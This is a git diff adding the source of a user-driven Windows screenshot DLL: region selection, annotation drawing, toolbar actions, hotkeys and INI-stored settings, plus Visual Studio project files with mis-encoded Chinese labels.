+ if (rc.left > rc.right)
+ {
+ iTemp = rc.left;
+ rc.left = rc.right;
+ rc.right = iTemp;
+ }
+ if (rc.top > rc.bottom)
+ {
+ iTemp = rc.top;
+ rc.top = rc.bottom;
+ rc.bottom = iTemp;
+ }
+ if (::PtInRect(&rc, p))
+ {
+ g_iState = 4; // 更改为移动选中区域状态
+ }
+ // 判断是否选中8个可移动矩形点中的一个
+ for (int i = 0; i < 8; i++)
+ {
+ if (::PtInRect(&g_rcSizePoint[i], p))
+ {
+ g_iState = 3; // 更改为更改选中区域大小状态
+ // 选中点
+ g_iSizePoint = i + 1;
+ break;
+ }
+ }
+ }
+ else if (5 == g_iState) // 绘制曲线状态
+ {
+ // 在选中区域内才绘制
+ RECT rc = g_rcChoose;
+ int iTemp = 0;
+ if (rc.left > rc.right)
+ {
+ iTemp = rc.left;
+ rc.left = rc.right;
+ rc.right = iTemp;
+ }
+ if (rc.top > rc.bottom)
+ {
+ iTemp = rc.top;
+ rc.top = rc.bottom;
+ rc.bottom = iTemp;
+ }
+ if (::PtInRect(&rc, p))
+ {
+ g_Curve.BeginPaint();
+ }
+ }
+
+ if (0 != g_iState)
+ {
+ // ToolBar消息响应
+ ToolBarMsg(p);
+ }
+}
+
+
+
+void OnLButtonUp() // 鼠标左键单击弹起
+{
+ // TODO: 在此添加消息处理程序代码和/或调用默认值
+ if (1 == g_iState) // 手动截屏状态
+ {
+ g_iState = 2; // 更改为选中锁定截屏区域状态
+ // 获取鼠标当前的窗口句柄
+ POINT p;
+ ::GetCursorPos(&p);
+ if (p.x != g_ptLButtonDown.x ||
+ p.y != g_ptLButtonDown.y)
+ {
+ // 保存截屏起点(右下)坐标值
+ g_rcChoose.right = p.x;
+ g_rcChoose.bottom = p.y;
+ }
+ // 显示主工具栏
+ g_ToolBar.SetMainDisplay(TRUE);
+ }
+ else if (3 == g_iState || 4 == g_iState) // 更改选中区域大小状态/移动选中区域状态
+ {
+ g_iState = 2; // 更改为选中锁定截屏区域状态
+ }
+ else if (5 == g_iState) // 绘制曲线状态
+ {
+ if (g_Curve.IsPainting())
+ {
+ g_Curve.EndPaint();
+ g_vec.push_back(g_Curve);
+ }
+ }
+}
+
+
+void OnRButtonDown() // 鼠标右键单击
+{
+ // TODO: 在此添加消息处理程序代码和/或调用默认值
+ // 删除数据
+ ::EnterCriticalSection(&g_cs);
+ g_vec.erase(g_vec.begin(), g_vec.end());
+ ::LeaveCriticalSection(&g_cs);
+
+
+ g_iState = 0; // 更改为开始截屏状态
+ g_ToolBar.SetMainDisplay(FALSE);
+ g_ToolBar.SetMainOperateFlag(0);
+ // 发送鼠标移动消息
+ ::SendMessage(g_ScreenCaptureWnd, WM_MOUSEMOVE, NULL, NULL);
+}
+
+
+void OnLButtonDblClk() // 鼠标左键双击
+{
+ // TODO: 在此添加消息处理程序代码和/或调用默认值
+ POINT p;
+ ::GetCursorPos(&p);
+ if ((!::PtInRect(&g_rcChoose, p) ||
+ 5 == g_iState) &&
+ 8 != g_iState)
+ {
+ return;
+ }
+ if (g_rcChoose.left == g_rcChoose.right &&
+ g_rcChoose.bottom == g_rcChoose.top)
+ {
+ return;
+ }
+ else
+ {
+ CopyScreenCaptureToClipboard(); // 将截屏区域图像复制到剪切板中
+ SaveScreenCapture(g_szSavePath, g_szPictureFormat); // 保存到设置路径
+ ::SendMessage(g_ScreenCaptureWnd, WM_HOTKEY, HOTKEYMSG_CAPTURE_END, NULL);
+ }
+}
+
+
+void OnRButtonDblClk() // 鼠标右键双击
+{
+ // TODO: 在此添加消息处理程序代码和/或调用默认值
+ // 发送Esc热键信息
+ ::SendMessage(g_ScreenCaptureWnd, WM_HOTKEY, HOTKEYMSG_CAPTURE_END, NULL);
+}
+
+
+void OnMouseMove() // 鼠标移动
+{
+ // 获取鼠标当前的窗口句柄
+ POINT p;
+ ::GetCursorPos(&p);
+ // 设置鼠标箭头
+ ::SetCursor(::LoadCursor(NULL, IDC_ARROW));
+ if (0 == g_iState) // 开始截屏状态
+ {
+ // 选中全屏
+ HWND hWnd = ::GetDesktopWindow();
+ ::GetWindowRect(hWnd, &g_rcChoose);
+ // 遍历所有可见的顶层窗口,判断鼠标位于哪个窗口中
+ RECT rc = { 0 };
+ for (int i = 0; i < g_stHwnd.iLen; i++)
+ {
+ ::GetWindowRect(g_stHwnd.hwndArray[i], &rc);
+ if (::PtInRect(&rc, p))
+ {
+ g_rcChoose.left = rc.left;
+ g_rcChoose.right = rc.right;
+ g_rcChoose.top = rc.top;
+ g_rcChoose.bottom = rc.bottom;
+ break;
+ }
+ }
+ }
+ if (1 == g_iState) // 手动选择截屏区域状态
+ {
+ if (p.x != g_ptLButtonDown.x ||
+ p.y != g_ptLButtonDown.y)
+ {
+ g_rcChoose.left = g_ptLButtonDown.x;
+ g_rcChoose.top = g_ptLButtonDown.y;
+ g_rcChoose.right = p.x;
+ g_rcChoose.bottom = p.y;
+ }
+ }
+ if (2 == g_iState || 3 == g_iState || 4 == g_iState ||
+ 6 == g_iState || 7 == g_iState || 8 == g_iState) // 选中锁定状态/改变选中区域大小状态/移动选中区域状态
+ {
+ // 如果鼠标在选中的截屏区域内
+ RECT rc = g_rcChoose;
+ int iTemp = 0;
+ if (rc.left > rc.right)
+ {
+ iTemp = rc.left;
+ rc.left = rc.right;
+ rc.right = iTemp;
+ }
+ if (rc.top > rc.bottom)
+ {
+ iTemp = rc.top;
+ rc.top = rc.bottom;
+ rc.bottom = iTemp;
+ }
+ if (::PtInRect(&rc, p))
+ {
+ // 设置鼠标箭头
+ ::SetCursor(::LoadCursor(NULL, IDC_SIZEALL));
+ }
+ // 判断是否选中8个可移动矩形点中的一个
+ for (int i = 0; i < 8; i++)
+ {
+ if (::PtInRect(&g_rcSizePoint[i], p))
+ {
+ // 设置鼠标箭头
+ if (0 == i || 7 == i)
+ {
+ ::SetCursor(::LoadCursor(NULL, IDC_SIZENWSE));
+ }
+ else if (1 == i || 6 == i)
+ {
+ ::SetCursor(::LoadCursor(NULL, IDC_SIZENS));
+ }
+ else if (2 == i || 5 == i)
+ {
+ ::SetCursor(::LoadCursor(NULL, IDC_SIZENESW));
+ }
+ else if (3 == i || 4 == i)
+ {
+ ::SetCursor(::LoadCursor(NULL, IDC_SIZEWE));
+ }
+ break;
+ }
+ }
+ }
+ if (3 == g_iState) // 更改选中区域大小状态
+ {
+ // 每个点只影响与它相关的边而已
+ switch (g_iSizePoint)
+ {
+ case 1:
+ {
+ g_rcChoose.left = p.x;
+ g_rcChoose.top = p.y;
+ break;
+ }
+ case 2:
+ {
+ g_rcChoose.top = p.y;
+ break;
+ }
+ case 3:
+ {
+ g_rcChoose.right = p.x;
+ g_rcChoose.top = p.y;
+ break;
+ }
+ case 4:
+ {
+ g_rcChoose.left = p.x;
+ break;
+ }
+ case 5:
+ {
+ g_rcChoose.right = p.x;
+ break;
+ }
+ case 6:
+ {
+ g_rcChoose.left = p.x;
+ g_rcChoose.bottom = p.y;
+ break;
+ }
+ case 7:
+ {
+ g_rcChoose.bottom = p.y;
+ break;
+ }
+ case 8:
+ {
+ g_rcChoose.right = p.x;
+ g_rcChoose.bottom = p.y;
+ break;
+ }
+ default:
+ break;
+ }
+ }
+ if (4 == g_iState) // 移动选中区域状态
+ {
+ // 计算移动的距离
+ int iWidth = p.x - g_ptLButtonDown.x;
+ int iHeight = p.y - g_ptLButtonDown.y;
+ // 平移选中截屏区域
+ g_rcChoose.left += iWidth;
+ g_rcChoose.right += iWidth;
+ g_rcChoose.top += iHeight;
+ g_rcChoose.bottom += iHeight;
+ // 记录此刻的点
+ g_ptLButtonDown = p;
+ }
+ if (5 == g_iState) // 绘制曲线状态
+ {
+ RECT rc = g_rcChoose;
+ int iTemp = 0;
+ if (rc.left > rc.right)
+ {
+ iTemp = rc.left;
+ rc.left = rc.right;
+ rc.right = iTemp;
+ }
+ if (rc.top > rc.bottom)
+ {
+ iTemp = rc.top;
+ rc.top = rc.bottom;
+ rc.bottom = iTemp;
+ }
+ if (::PtInRect(&rc, p))
+ {
+ // 设置鼠标箭头
+ // ::SetCursor(::LoadCursor(NULL, IDC_CROSS));
+ // 自定义光标
+ if (0 == g_iCurvePenSort)
+ {
+ ::SetCursor(::LoadCursor(g_hModule, MAKEINTRESOURCE(IDC_CURSOR1)));
+ }
+ else
+ {
+ ::SetCursor(::LoadCursor(g_hModule, MAKEINTRESOURCE(IDC_CURSOR2)));
+ }
+ if (g_Curve.IsPainting())
+ {
+ g_Curve.AddPaintPoint(p);
+ }
+ }
+ }
+}
+
+
+void OnMenuSavepath()
+{
+ // TODO: 在此添加命令处理程序代码
+ char szSavePath[MAX_PATH] = { 0 };
+ BROWSEINFO bi = { 0 };
+ bi.lpszTitle = CURRENT_VERSION;
+ LPITEMIDLIST lpItemIdList = ::SHBrowseForFolder(&bi);
+ if (NULL == lpItemIdList)
+ {
+ ::MessageBox(NULL, "Save Path Setting Error!\nPlease Setting Again!\n", "ERROR", MB_OK | MB_ICONERROR);
+ }
+ else
+ {
+ // 获取选择的存储路径
+ ::SHGetPathFromIDList(lpItemIdList, szSavePath);
+ if (0 == ::lstrlen(szSavePath))
+ {
+ ::MessageBox(NULL, "Save Path Setting Error!\nPlease Setting Again!\n", "ERROR", MB_OK | MB_ICONERROR);
+ }
+ else
+ {
+ ::lstrcpy(g_szSavePath, szSavePath);
+ // 保存到配置文件
+ ::WritePrivateProfileString("SAVE PATH", "Path", szSavePath, ".\\screencaptureconfig.ini");
+ }
+ }
+}
+
+
+void OnPictureformatJpg()
+{
+ ::lstrcpy(g_szPictureFormat, ".jpg");
+ // 保存到配置文件
+ ::WritePrivateProfileString("PICTURE FORMAT", "Format", g_szPictureFormat, ".\\screencaptureconfig.ini");
+}
+
+
+void OnPictureformatPng()
+{
+ ::lstrcpy(g_szPictureFormat, ".png");
+ // 保存到配置文件
+ ::WritePrivateProfileString("PICTURE FORMAT", "Format", g_szPictureFormat, ".\\screencaptureconfig.ini");
+}
+
+
+void OnPictureformatBmp()
+{
+ ::lstrcpy(g_szPictureFormat, ".bmp");
+ // 保存到配置文件
+ ::WritePrivateProfileString("PICTURE FORMAT", "Format", g_szPictureFormat, ".\\screencaptureconfig.ini");
+}
+
+
+void OnPictureformatGif()
+{
+ ::lstrcpy(g_szPictureFormat, ".gif");
+ // 保存到配置文件
+ ::WritePrivateProfileString("PICTURE FORMAT", "Format", g_szPictureFormat, ".\\screencaptureconfig.ini");
+}
+
+
+BOOL CALLBACK ScreenCaptureAboutDlgProc(HWND hwndDlg, // handle to dialog box
+ UINT uMsg, // message
+ WPARAM wParam, // first message parameter
+ LPARAM lParam // second message parameter
+ )
+{
+ switch (uMsg)
+ {
+ case WM_CLOSE:
+ {
+ ::EndDialog(hwndDlg, NULL);
+ }
+ case WM_COMMAND:
+ {
+ if (IDOK == wParam)
+ {
+ ::EndDialog(hwndDlg, NULL);
+ }
+ break;
+ }
+ default:
+ return FALSE;
+ }
+ return TRUE;
+}
+
+void OnMenuAbout()
+{
+ // TODO: 在此添加命令处理程序代码
+ ::DialogBoxParam(g_hModule, MAKEINTRESOURCE(IDD_ABOUTBOX), g_ScreenCaptureWnd, ScreenCaptureAboutDlgProc, NULL);
+}
+
+
+void OnMenuExit()
+{
+ // 不显示托盘
+ ::Shell_NotifyIcon(NIM_DELETE, &g_nid);
+
+ ::DeleteObject(g_bmpDesktop);
+ ::DeleteObject(g_bmpBlack);
+ ::KillTimer(g_ScreenCaptureWnd, 1);
+
+ ::SendMessage(g_ScreenCaptureWnd, WM_CLOSE, NULL, NULL);
+
+}
+
+
+LRESULT OnHotKey(WPARAM wParam, LPARAM lParam)
+{
+ //wParam是注册热键的ID,lParam是关于按键的信息
+ if (HOTKEYMSG_CAPTURE_START == wParam) // 截屏
+ {
+ ScreenCapture();
+ }
+ else if (HOTKEYMSG_CAPTURE_END == wParam) // 隐藏
+ {
+ ::ShowWindow(g_ScreenCaptureWnd, SW_HIDE);
+ ::KillTimer(g_ScreenCaptureWnd, 1);
+ }
+
+ return 0;
+}
+
+
+LRESULT OnTaskMsg(WPARAM wParam, LPARAM lParam)
+{
+ if (IDI_ICON1 != wParam)
+ {
+ return 1;
+ }
+ switch (lParam)
+ {
+ case WM_RBUTTONUP: // 鼠标右键弹起时,弹出菜单
+ {
+ POINT p;
+ ::GetCursorPos(&p);
+ HMENU hMenu = ::LoadMenu(g_hModule, (LPCSTR)IDR_MENU1);
+ HMENU hSubMenu = ::GetSubMenu(hMenu, 0);
+ ::TrackPopupMenu(hSubMenu, TPM_LEFTALIGN | TPM_RIGHTBUTTON, p.x, p.y, 0, g_ScreenCaptureWnd, NULL);
+ ::DestroyMenu(hSubMenu);
+ break;
+ }
+ default:
+ break;
+ }
+
+ return 0;
+}
+
+
+void CurveBack()
+{
+ if (0 < g_vec.size())
+ {
+ g_vec.pop_back();
+ // g_vec.erase(g_vec.begin(), g_vec.end());
+ }
+}
+
+
+void ToolBarMsg(POINT p)
+{
+ int iMainOperateFlag = g_ToolBar.GetMainOperateFlag(p);
+ if (0 != iMainOperateFlag)
+ {
+ g_ToolBar.SetSecondDisplay(FALSE);
+ }
+ switch (iMainOperateFlag)
+ {
+ case 1:
+ {
+ // 画实心曲线
+ g_iState = 5;
+ g_ToolBar.SetSecondDisplay(TRUE);
+ g_iCurvePenSort = 0;
+ break;
+ }
+ case 2:
+ {
+ // 画荧光实心曲线
+ g_iState = 5;
+ g_ToolBar.SetSecondDisplay(TRUE);
+ g_iCurvePenSort = 1;
+ break;
+ }
+ case 3:
+ {
+ // 撤销
+ g_iState = 6;
+ CurveBack();
+ break;
+ }
+ case 4:
+ {
+ // 保存
+ char szPath[MAX_PATH] = { 0 };
+ char szPathE[MAX_PATH] = { 0 };
+ OPENFILENAME stOF = { 0 };
+ ::RtlZeroMemory(&stOF, sizeof(stOF));
+ stOF.hwndOwner = g_ScreenCaptureWnd;
+ stOF.lStructSize = sizeof(stOF);
+ stOF.lpstrFilter = "*.jpg\0*.jpg\0*.png\0*.png\0*.bmp\0*.bmp\0*.gif\0*.gif\0\0";
+ stOF.lpstrFile = szPath;
+ stOF.nMaxFile = MAX_PATH;
+ stOF.lpstrDefExt = "123"; // 只附加前三个字符,如果为NULL的话,路径将不会有拓展名,若要有拓展名必须要附加缓冲区
+ stOF.Flags = OFN_PATHMUSTEXIST;
+ ::GetSaveFileName(&stOF);
+ // ::MessageBox(NULL, szPath, stOF.lpstrDefExt, MB_OK);
+ if (0 < ::lstrlen(szPath))
+ {
+ g_iState = 7;
+ SaveScreenCapture(szPath, NULL, 1);
+ ::SendMessage(g_ScreenCaptureWnd, WM_HOTKEY, HOTKEYMSG_CAPTURE_END, NULL);
+ }
+ break;
+ }
+ case 5:
+ {
+ // 取消本次截图
+ ::SendMessage(g_ScreenCaptureWnd, WM_HOTKEY, HOTKEYMSG_CAPTURE_END, NULL);
+ break;
+ }
+ case 6:
+ {
+ // 复制到剪切板
+ g_iState = 8;
+ ::SendMessage(g_ScreenCaptureWnd, WM_LBUTTONDBLCLK, NULL, NULL);
+ break;
+ }
+ case 7:
+ {
+ // 关于
+ ::SendMessage(g_ScreenCaptureWnd, WM_COMMAND, MAKELONG(ID_MENU_ABOUT, BN_CLICKED), NULL);
+ break;
+ }
+ default:
+ break;
+ }
+
+
+ int iSecondOperateFlag = g_ToolBar.GetSecondOperateFlag(p);
+ switch (iSecondOperateFlag)
+ {
+ case 1:
+ {
+ // 线宽1
+ g_iCurvePenWidth = CURVEPENDWIDTH_1;
+ break;
+ }
+ case 2:
+ {
+ // 线宽2
+ g_iCurvePenWidth = CURVEPENDWIDTH_2;
+ break;
+ }
+ case 3:
+ {
+ // 线宽3
+ g_iCurvePenWidth = CURVEPENDWIDTH_3;
+ break;
+ }
+ case 4:
+ {
+ // 颜色1
+ g_crCurvePenColor = CURVEPENDCOLOR_1;
+ break;
+ }
+ case 5:
+ {
+ // 颜色2
+ g_crCurvePenColor = CURVEPENDCOLOR_2;
+ break;
+ }
+ case 6:
+ {
+ // 颜色3
+ g_crCurvePenColor = CURVEPENDCOLOR_3;
+ break;
+ }
+ case 7:
+ {
+ // 颜色4
+ g_crCurvePenColor = CURVEPENDCOLOR_4;
+ break;
+ }
+ default:
+ break;
+ }
+ if (0 != iSecondOperateFlag)
+ {
+ char szTemp[MAX_PATH] = { 0 };
+ g_iCurvePenStyle = PS_SOLID;
+ ::wsprintf(szTemp, "%d", g_iCurvePenSort);
+ ::WritePrivateProfileString("PEN SETTING", "Sort", szTemp, ".\\screencaptureconfig.ini");
+ ::wsprintf(szTemp, "%d", g_iCurvePenStyle);
+ ::WritePrivateProfileString("PEN SETTING", "Style", szTemp, ".\\screencaptureconfig.ini");
+ ::wsprintf(szTemp, "%d", g_iCurvePenWidth);
+ ::WritePrivateProfileString("PEN SETTING", "Width", szTemp, ".\\screencaptureconfig.ini");
+ ::wsprintf(szTemp, "%d", g_crCurvePenColor);
+ ::WritePrivateProfileString("PEN SETTING", "Color", szTemp, ".\\screencaptureconfig.ini");
+ }
+ g_Curve.SetPen(g_iCurvePenSort, g_iCurvePenStyle, g_iCurvePenWidth, g_crCurvePenColor);
+}
+
+
+// 导出函数部分
+
+BOOL ScreenCaptureInit()
+{
+ g_ScreenCaptureWnd = ::CreateDialogParam(g_hModule, MAKEINTRESOURCE(IDD_DIALOG_SCREEN_CAPTURE), NULL, ScreenCaptureDlgProc, NULL);
+ if (NULL == g_ScreenCaptureWnd)
+ {
+ ShowError("CreateDialogParam");
+ return FALSE;
+ }
+
+ return TRUE;
+}
+
+
+void ScreenCaptureExit()
+{
+ // 不显示托盘
+ ::Shell_NotifyIcon(NIM_DELETE, &g_nid);
+ // 关闭窗口
+ ::SendMessage(g_ScreenCaptureWnd, WM_CLOSE, NULL, NULL);
+}
+
+
+void SetScreenCaptureHotKey(UINT fsModifiers, UINT vk)
+{
+ // 释放原来注册的热键
+ if (!::UnregisterHotKey(g_ScreenCaptureWnd, HOTKEYMSG_CAPTURE_START))
+ {
+ ShowError("UnregisterHotKey");
+ }
+
+ // 注册热键
+ if (!::RegisterHotKey(g_ScreenCaptureWnd, HOTKEYMSG_CAPTURE_START, fsModifiers, vk)) // 注册截屏热键
+ {
+ ShowError("RegisterHotKey");
+ }
+// ::RegisterHotKey(g_ScreenCaptureWnd, HOTKEYMSG_CAPTURE_START, MOD_CONTROL | MOD_SHIFT, 'A'); // 注册截屏热键Ctrl + Shift + A
+}
\ No newline at end of file
diff --git a/ProtectionOfDemon/ScreenCapture/ScreenCapture.def b/ProtectionOfDemon/ScreenCapture/ScreenCapture.def
new file mode 100644
index 0000000..dbce195
--- /dev/null
+++ b/ProtectionOfDemon/ScreenCapture/ScreenCapture.def
@@ -0,0 +1,7 @@
+LIBRARY
+
+EXPORTS
+ ; 此处可以是显式导出
+ ScreenCaptureInit
+ ScreenCaptureExit
+ SetScreenCaptureHotKey
diff --git a/ProtectionOfDemon/ScreenCapture/ScreenCapture.rc b/ProtectionOfDemon/ScreenCapture/ScreenCapture.rc
new file mode 100644
index 0000000..9d1c57d
Binary files /dev/null and b/ProtectionOfDemon/ScreenCapture/ScreenCapture.rc differ
diff --git a/ProtectionOfDemon/ScreenCapture/ScreenCapture.vcxproj b/ProtectionOfDemon/ScreenCapture/ScreenCapture.vcxproj
new file mode 100644
index 0000000..fbafa8f
--- /dev/null
+++ b/ProtectionOfDemon/ScreenCapture/ScreenCapture.vcxproj
@@ -0,0 +1,124 @@
+锘
+
+
+
+ Debug
+ Win32
+
+
+ Release
+ Win32
+
+
+
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}
+ Win32Proj
+ ScreenCapture
+
+
+
+ DynamicLibrary
+ true
+ v120
+ MultiByte
+ Dynamic
+
+
+ DynamicLibrary
+ false
+ v120_xp
+ true
+ MultiByte
+
+
+
+
+
+
+
+
+
+
+
+
+ true
+
+
+ false
+
+
+
+ Use
+ Level3
+ Disabled
+ WIN32;_DEBUG;_WINDOWS;_USRDLL;SCREENCAPTURE_EXPORTS;%(PreprocessorDefinitions)
+ true
+
+
+ Windows
+ true
+ ScreenCapture.def
+
+
+
+
+ Level3
+ Use
+ MaxSpeed
+ true
+ true
+ WIN32;NDEBUG;_WINDOWS;_USRDLL;SCREENCAPTURE_EXPORTS;%(PreprocessorDefinitions)
+ true
+
+
+ Windows
+ true
+ true
+ true
+ ScreenCapture.def
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ false
+
+
+ false
+
+
+
+
+
+
+ Create
+ Create
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/ProtectionOfDemon/ScreenCapture/ScreenCapture.vcxproj.filters b/ProtectionOfDemon/ScreenCapture/ScreenCapture.vcxproj.filters
new file mode 100644
index 0000000..53c1a06
--- /dev/null
+++ b/ProtectionOfDemon/ScreenCapture/ScreenCapture.vcxproj.filters
@@ -0,0 +1,81 @@
+锘
+
+
+
+ {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
+ cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
+
+
+ {93995380-89BD-4b04-88EB-625FBE52EBFB}
+ h;hh;hpp;hxx;hm;inl;inc;xsd
+
+
+ {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
+ rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
+
+
+
+
+
+
+
+ 澶存枃浠
+
+
+ 澶存枃浠
+
+
+ 澶存枃浠
+
+
+ 澶存枃浠
+
+
+ 澶存枃浠
+
+
+
+
+ 婧愭枃浠
+
+
+ 婧愭枃浠
+
+
+ 婧愭枃浠
+
+
+ 婧愭枃浠
+
+
+ 婧愭枃浠
+
+
+
+
+ 璧勬簮鏂囦欢
+
+
+
+
+ 璧勬簮鏂囦欢
+
+
+ 璧勬簮鏂囦欢
+
+
+ 璧勬簮鏂囦欢
+
+
+
+
+ 璧勬簮鏂囦欢
+
+
+ 璧勬簮鏂囦欢
+
+
+ 婧愭枃浠
+
+
+
\ No newline at end of file
diff --git a/ProtectionOfDemon/ScreenCapture/dllmain.cpp b/ProtectionOfDemon/ScreenCapture/dllmain.cpp
new file mode 100644
index 0000000..4742289
--- /dev/null
+++ b/ProtectionOfDemon/ScreenCapture/dllmain.cpp
@@ -0,0 +1,28 @@
+// dllmain.cpp : 定义 DLL 应用程序的入口点。
+#include "stdafx.h"
+
+HMODULE g_hModule = NULL;
+
+BOOL APIENTRY DllMain( HMODULE hModule,
+ DWORD ul_reason_for_call,
+ LPVOID lpReserved
+ )
+{
+ switch (ul_reason_for_call)
+ {
+ case DLL_PROCESS_ATTACH:
+ {
+// char str[256] = { 0 };
+// ::wsprintf(str, "%x", (ULONG)hModule);
+// ::MessageBox(NULL, str, "123", MB_OK);
+ break;
+ }
+ case DLL_THREAD_ATTACH:
+ case DLL_THREAD_DETACH:
+ case DLL_PROCESS_DETACH:
+ break;
+ }
+ g_hModule = hModule;
+ return TRUE;
+}
+
diff --git a/ProtectionOfDemon/ScreenCapture/res/1.cur b/ProtectionOfDemon/ScreenCapture/res/1.cur
new file mode 100644
index 0000000..70fdb41
Binary files /dev/null and b/ProtectionOfDemon/ScreenCapture/res/1.cur differ
diff --git a/ProtectionOfDemon/ScreenCapture/res/2.cur b/ProtectionOfDemon/ScreenCapture/res/2.cur
new file mode 100644
index 0000000..3830b88
Binary files /dev/null and b/ProtectionOfDemon/ScreenCapture/res/2.cur differ
diff --git a/ProtectionOfDemon/ScreenCapture/res/Thumbs.db b/ProtectionOfDemon/ScreenCapture/res/Thumbs.db
new file mode 100644
index 0000000..5c4e4aa
Binary files /dev/null and b/ProtectionOfDemon/ScreenCapture/res/Thumbs.db differ
diff --git a/ProtectionOfDemon/ScreenCapture/res/demon64X64.ico b/ProtectionOfDemon/ScreenCapture/res/demon64X64.ico
new file mode 100644
index 0000000..f68e335
Binary files /dev/null and b/ProtectionOfDemon/ScreenCapture/res/demon64X64.ico differ
diff --git a/ProtectionOfDemon/ScreenCapture/res/toolbar1.bmp b/ProtectionOfDemon/ScreenCapture/res/toolbar1.bmp
new file mode 100644
index 0000000..789672c
Binary files /dev/null and b/ProtectionOfDemon/ScreenCapture/res/toolbar1.bmp differ
diff --git a/ProtectionOfDemon/ScreenCapture/res/toolbar2.bmp b/ProtectionOfDemon/ScreenCapture/res/toolbar2.bmp
new file mode 100644
index 0000000..0547a47
Binary files /dev/null and b/ProtectionOfDemon/ScreenCapture/res/toolbar2.bmp differ
diff --git a/ProtectionOfDemon/ScreenCapture/res/toolbar3.bmp b/ProtectionOfDemon/ScreenCapture/res/toolbar3.bmp
new file mode 100644
index 0000000..78903bf
Binary files /dev/null and b/ProtectionOfDemon/ScreenCapture/res/toolbar3.bmp differ
diff --git a/ProtectionOfDemon/ScreenCapture/resource.h b/ProtectionOfDemon/ScreenCapture/resource.h
new file mode 100644
index 0000000..02d7f34
Binary files /dev/null and b/ProtectionOfDemon/ScreenCapture/resource.h differ
diff --git a/ProtectionOfDemon/ScreenCapture/stdafx.cpp b/ProtectionOfDemon/ScreenCapture/stdafx.cpp
new file mode 100644
index 0000000..bc6a27b
--- /dev/null
+++ b/ProtectionOfDemon/ScreenCapture/stdafx.cpp
@@ -0,0 +1,8 @@
+// stdafx.cpp : 只包括标准包含文件的源文件
+// ScreenCapture.pch 将作为预编译头
+// stdafx.obj 将包含预编译类型信息
+
+#include "stdafx.h"
+
+// TODO: 在 STDAFX.H 中
+// 引用任何所需的附加头文件,而不是在此文件中引用
diff --git a/ProtectionOfDemon/ScreenCapture/stdafx.h b/ProtectionOfDemon/ScreenCapture/stdafx.h
new file mode 100644
index 0000000..6bf8b44
--- /dev/null
+++ b/ProtectionOfDemon/ScreenCapture/stdafx.h
@@ -0,0 +1,40 @@
+// stdafx.h : 标准系统包含文件的包含文件,
+// 或是经常使用但不常更改的
+// 特定于项目的包含文件
+//
+
+#pragma once
+
+#include "targetver.h"
+
+#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的信息
+// Windows 头文件:
+
+#include
+
+
+
+
+
+// TODO: 在此处引用程序需要的其他头文件
+#include "resource.h"
+
+const int HOTKEYMSG_CAPTURE_START = 10000;
+const int HOTKEYMSG_CAPTURE_END = 10001;
+
+const int CURVEPENDWIDTH_1 = 2;
+const int CURVEPENDWIDTH_2 = 6;
+const int CURVEPENDWIDTH_3 = 10;
+const COLORREF CURVEPENDCOLOR_1 = RGB(255, 0, 0);
+const int CURVEPENDCOLOR_2 = RGB(0, 255, 0);
+const int CURVEPENDCOLOR_3 = RGB(0, 0, 255);
+const int CURVEPENDCOLOR_4 = RGB(255, 255, 0);
+const DWORD WM_MYTASK = WM_USER + 1;
+
+
+
+typedef struct _HWNDSTRUCT
+{
+ HWND hwndArray[100]; // 100个句柄数组
+ int iLen; // 顶层句柄个数
+}HWNDSTRUCT;
\ No newline at end of file
diff --git a/ProtectionOfDemon/ScreenCapture/targetver.h b/ProtectionOfDemon/ScreenCapture/targetver.h
new file mode 100644
index 0000000..aadba2f
--- /dev/null
+++ b/ProtectionOfDemon/ScreenCapture/targetver.h
@@ -0,0 +1,8 @@
+#pragma once
+
+// 包括 SDKDDKVer.h 将定义可用的最高版本的 Windows 平台。
+
+// 如果要为以前的 Windows 平台生成应用程序,请包括 WinSDKVer.h,并将
+// WIN32_WINNT 宏设置为要支持的平台,然后再包括 SDKDDKVer.h。
+
+#include
diff --git a/ProtectionOfDemon/ScreenRecord/ReadMe.txt b/ProtectionOfDemon/ScreenRecord/ReadMe.txt
new file mode 100644
index 0000000..bbd6c3e
--- /dev/null
+++ b/ProtectionOfDemon/ScreenRecord/ReadMe.txt
@@ -0,0 +1,32 @@
+锘========================================================================
+ 鍔ㄦ侀摼鎺ュ簱锛歋creenRecord 椤圭洰姒傝堪
+========================================================================
+
+搴旂敤绋嬪簭鍚戝宸蹭负鎮ㄥ垱寤轰簡姝 ScreenRecord DLL銆
+
+鏈枃浠舵瑕佷粙缁嶇粍鎴 ScreenRecord 搴旂敤绋嬪簭鐨勬瘡涓枃浠剁殑鍐呭銆
+
+
+ScreenRecord.vcxproj
+ 杩欐槸浣跨敤搴旂敤绋嬪簭鍚戝鐢熸垚鐨 VC++ 椤圭洰鐨勪富椤圭洰鏂囦欢锛屽叾涓寘鍚敓鎴愯鏂囦欢鐨 Visual C++ 鐨勭増鏈俊鎭紝浠ュ強鏈夊叧浣跨敤搴旂敤绋嬪簭鍚戝閫夋嫨鐨勫钩鍙般侀厤缃拰椤圭洰鍔熻兘鐨勪俊鎭
+
+ScreenRecord.vcxproj.filters
+ 杩欐槸浣跨敤鈥滃簲鐢ㄧ▼搴忓悜瀵尖濈敓鎴愮殑 VC++ 椤圭洰绛涢夊櫒鏂囦欢銆傚畠鍖呭惈鏈夊叧椤圭洰鏂囦欢涓庣瓫閫夊櫒涔嬮棿鐨勫叧鑱斾俊鎭傚湪 IDE 涓紝閫氳繃杩欑鍏宠仈锛屽湪鐗瑰畾鑺傜偣涓嬩互鍒嗙粍褰㈠紡鏄剧ず鍏锋湁鐩镐技鎵╁睍鍚嶇殑鏂囦欢銆備緥濡傦紝鈥.cpp鈥濇枃浠朵笌鈥滄簮鏂囦欢鈥濈瓫閫夊櫒鍏宠仈銆
+
+ScreenRecord.cpp
+ 杩欐槸涓 DLL 婧愭枃浠躲
+
